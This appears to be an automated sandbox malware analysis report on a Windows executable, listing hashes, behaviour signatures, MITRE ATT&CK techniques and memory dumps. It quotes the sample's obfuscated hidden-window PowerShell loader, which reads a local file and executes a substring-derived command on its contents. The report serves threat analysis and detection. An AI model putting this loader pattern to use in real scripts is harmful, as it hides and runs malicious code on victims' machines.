2460907715ba7c10b333f5f5f9f98a7c4b5133d6138d4a0859fe41c7b362b79c

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
17-12-2024 08:01

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General

Target

Syltetjsmad.exe
Size

1.1MB
MD5

cb8e38a904d97a2782cb38140f36e3fe
SHA1

f9d77ffb188fed3bede9998a89b7362afcc52015
SHA256

191ed5ad32b3e7df7a75dddfdc903bfc4f0a8c4cc4549db80b8f678b66fcba90
SHA512

6200ba0b73b377cd702a446b1da9dbc032edbef8767012f0b109d1f803de653f16d6b0725ccee6346fe2082af814fa59220896b4d6461a19a7dec95717d2b095
SSDEEP

24576:nNrNYoECbMDm/+/3VwV5k7j5awX300zQUGtZ:N+rCbGm/+/3VwXgj5aEkHUGtZ

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1792	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1888	Syltetjsmad.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\stilhederne\tamtammens.ini	Syltetjsmad.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\inddatafunktionens.Tra	Syltetjsmad.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Syltetjsmad.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1792	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1792	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1888 wrote to memory of 1792	1888	Syltetjsmad.exe	30
PID 1888 wrote to memory of 1792	1888	Syltetjsmad.exe	30
PID 1888 wrote to memory of 1792	1888	Syltetjsmad.exe	30
PID 1888 wrote to memory of 1792	1888	Syltetjsmad.exe	30

C:\Users\Admin\AppData\Local\Temp\Syltetjsmad.exe
"C:\Users\Admin\AppData\Local\Temp\Syltetjsmad.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1888
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Prattlers=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\hypho.Liv';$Boistously=$Prattlers.SubString(8499,3);.$Boistously($Prattlers) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\nsoA68D.tmp\nsExec.dll

Filesize
7KB

MD5
675c4948e1efc929edcabfe67148eddd

SHA1
f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

SHA256
1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

SHA512
61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

Download Submit
memory/1792-15-0x0000000073FA1000-0x0000000073FA2000-memory.dmp

Filesize
4KB

Download
memory/1792-16-0x0000000073FA0000-0x000000007454B000-memory.dmp

Filesize
5.7MB

Download
memory/1792-18-0x0000000073FA0000-0x000000007454B000-memory.dmp

Filesize
5.7MB

Download
memory/1792-17-0x0000000073FA0000-0x000000007454B000-memory.dmp

Filesize
5.7MB

Download
memory/1792-19-0x0000000073FA0000-0x000000007454B000-memory.dmp

Filesize
5.7MB

Download
memory/1792-20-0x0000000073FA0000-0x000000007454B000-memory.dmp

Filesize
5.7MB

Download